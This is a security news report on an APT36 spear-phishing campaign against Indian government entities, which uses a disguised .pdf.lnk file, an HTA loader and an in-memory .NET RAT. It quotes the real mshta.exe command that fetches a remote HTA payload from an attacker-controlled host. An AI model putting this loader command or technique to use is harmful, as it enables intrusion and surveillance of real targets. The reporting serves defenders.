APT36 Malware Campaign Targeting Windows LNK Files to Attack Indian Government Entities
## Cybersecurity: APT36 Malware Campaign Update
Cybersecurity: APT36 Malware Campaign Update
APT36, also recognized as Transparent Tribe, has initiated a malware campaign targeting Indian government and strategic entities through the exploitation of Windows LNK shortcut files.
The campaign begins with spear-phishing emails containing a ZIP archive labeled “Online JLPT Exam Dec 2025.zip.” This archive is themed to resemble an exam notice, enticing officials to open the attachment.
Upon extraction, the archive presents a file named “Online JLPT Exam Dec 2025.pdf,” which is actually a shortcut file utilizing a double extension trick (.pdf.lnk). The Windows operating system conceals the .lnk extension, making the file appear as a legitimate PDF.
The file's size exceeds 2 MB, atypical for a shortcut, as it includes a complete PDF structure along with multiple embedded images, enhancing its authenticity.
The campaign is designed for prolonged surveillance, providing attackers with remote access, data exfiltration, and monitoring capabilities through a .NET-based Remote Access Trojan (RAT). The malware operates in-memory and employs trusted Windows tools, communicating with its command-and-control server over encrypted channels to evade detection by conventional security tools.
The Windows operating system conceals the .lnk extension, making the file appear as a legitimate PDF.
Infection Mechanism and LNK Execution Chain
When the user opens the fake PDF shortcut, Windows executes mshta.exe from System32, passing a remote HTA script as an argument. The shortcut's target path is configured to call a remote loader at innlive.in :
mshta.exe "https://innlive.in/assets/public/01/jlp/jip.hta"
The HTA script executes in a hidden window, reducing the browser frame to zero, and uses custom Base64 and XOR routines to decode two main payload blocks, ReadOnly and WriteOnly , directly in memory.
The ReadOnly block weakens .NET security checks and initializes the runtime, while WriteOnly loads an encrypted DLL as a RAT. Additionally, an obscured “usb” folder with usbsyn.pim may contain further encrypted data for subsequent stages.
To maintain user deception, the HTA retrieves and opens an actual JLPT exam PDF, creating the illusion of standard document viewing while the system is compromised.
Based on reporting by Cyber Security News.